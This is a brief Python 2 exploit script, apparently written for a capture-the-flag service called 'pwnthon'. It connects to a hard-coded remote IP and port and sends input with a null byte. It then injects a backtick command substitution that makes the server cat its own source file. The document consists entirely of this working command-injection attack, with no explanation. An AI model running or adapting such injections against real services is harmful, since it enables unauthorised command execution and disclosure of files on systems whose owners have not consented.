
import socket
from struct import pack,unpack
from ctypes import c_int32
import telnetlib,re,sys


LOCAL = ('localhost',31337)
LOCAL = ('119.15.167.212',31338)
BUFFER = 4096



s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(LOCAL)

def recv_until(str,debug=0):
	recv_ = ''
	while not str in recv_:
		tmp = s.recv(BUFFER)
		recv_ += tmp
		if debug:
			print tmp
		continue
	return recv_
	
print s.recv(BUFFER)
s.send('c\x00\ncat\n')
print s.recv(BUFFER)

cmd = '`cat</home/pwnthon/pwnthon.py`'


s.send('{0}\x00'.format(cmd))
print s.recv(BUFFER)
print s.recv(BUFFER)
	
s.close()
